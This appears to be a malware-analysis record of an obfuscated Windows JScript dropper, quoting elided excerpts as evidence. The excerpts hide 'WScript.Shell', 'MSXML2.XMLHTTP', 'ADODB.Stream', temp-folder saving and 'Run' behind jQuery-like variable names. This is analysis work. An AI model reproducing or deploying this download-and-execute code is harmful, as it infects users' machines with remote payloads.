20160307_c86f0b8f59d1679907e197c72ace6f15.js
Obfuscated WScript shell execution
weird non-standard func decl syntax (funcDense repeated Math.pow arithmetic
SHA-25609b7bf4c337558305a2436f6c956befab33b26a2a8d2a21f9307dd6d572f6359
MaleculeK(Li)O₂(As₃S)H₂(Db₃Po)
Evidence
⋯7 lines
8func = "ip";
9cacheURL = "ct";
10var selector = "se",
11 s = 18,
12 responseHeaders = "s",
13 rwhitespace = "74hfb";
14contexts = 136, matched = "pos", compareDocumentPosition = "eToF", rnoInnerhtml = "WScri", configurable = ".S";
15sortStable = "Run";
16parentsUntil = "Sl";
17var rmsPrefix = "nd",
18 doScroll = 170,
19 boolHook = "Envi",
20 exports = 12798,
21 ajax = "r",
22 finalDataType = "pati";
23var async = "state", propName = "re", queue = 87, defaultExtra = "R";
24rscriptTypeMasked = 0, adjustCSS = "p", iterator = "i", until = "leep", pageY …
33:2… rejectWith = 222240,
34 _queueHooks = "Ob";
35specified = 1;
36responseHeadersString = "S";
37letter = (function String.prototype.handleObjIn() {
38 return this
39}, "Str");
40subordinate = "ur";
41responseFields = "ll";
42append = "DODB", factory = 31, curLeft = "t.She", parseXML = 239, structure = "ype";
43copy = 3;
44host = "n";
45curCSSTop = "w";
46b = 523768;
47var fi …
95:9… = 216;
96getElementsByClassName = ".", Expr = "id/";
97dataAttr = ((Math.pow((13 * unquoted + 6), (contexts, 144, unquoted)) - (1982 / unquoted)), (((15 & setOffset) & 3 * rnumnonpx), this));
98curOffset = sortStable;
99augmentWidthOrHeight = dataAttr[getComputedStyle + notify];
100rpseudo = augmentWidthOrHeight[jQuery + _queueHooks + end](isArrayLike + func + curLeft + responseFields);
101outermost = rpseudo[funescape + boolHook + ajax + offsetHeight + letter + iterator + host + close + responseHeaders](jsonpCallback + originalEvent + hasOwnProperty) + origFn + getElementsByClassName + rsubmitterTypes;
102startTime = dataAttr[timers …
102:59… CSS + cacheURL](doneName + owner + dir + swing + currentValue);
103startTime[oldfire + adjustCSS + nodeName](token, clientLeft + ifModified + contents + rfocusable + subordinate + host + camel + responseHeaders + finalDataType + useCache + Expr + step + rwhitespace, !((((((2 + querySelectorAll) / 3)) / (Math.pow((specified ^ 4) * rnumnonpx, (35 - cache)) - (303 - elementMatcher) * (1 * copy))) & (((Math.pow((72 ^ parseXML), (20 - s)) - (21181 + scrollTop)) & ((Math.pow(58, unquoted) - 3253) ^ (unquoted * 64))), ((Math.pow((createButtonPseudo & 190), (hidden, 178, unquoted)) - (33150 & pageYOffset)) - 2 * copy * (13 & setOffset) * (1 * unquoted)), ((0 ^ (newDefer - 26)) * ((copy & 3) & (copy))))) == ((((1 ^ unquoted) & ((62, rscriptTypeMasked) | (2 & unquoted))) * (((1 + specified)) | 2) + (((rscriptTypeMasked …
109:43… eadersString + until](((375004 & b) / (25 & newCache)));
110try {
111 updateFunc[oldfire + each + host]();
112 pseudos = updateFunc;
113 pseudos[len + structure] = ((20 - rcleanScript) ^ 1);
114 implicitRelative = pseudos;
115 updateFunc[curCSSTop + ajax + prevObject](startTime[defaultExtra + classCache + original]);
116 implicitRelative[matched + now + stopPropagation] = ((specified + -1) / (fast | 41));
117 updateFunc[cloneCopyEvent + compareDocumentPosition + opener](outermost, ((stored, 1) + (specified * 1)));
118 updateFunc[rclass]();
119 parentWindow = rpseudo;
120 parentWindow[curOffset](outermost.handleObjIn(), ((queue ^ 198), rscriptTypeMasked), ((1 * rscriptTypeMasked) | (1 * rscriptTypeMasked)));
121} catch (responses) {};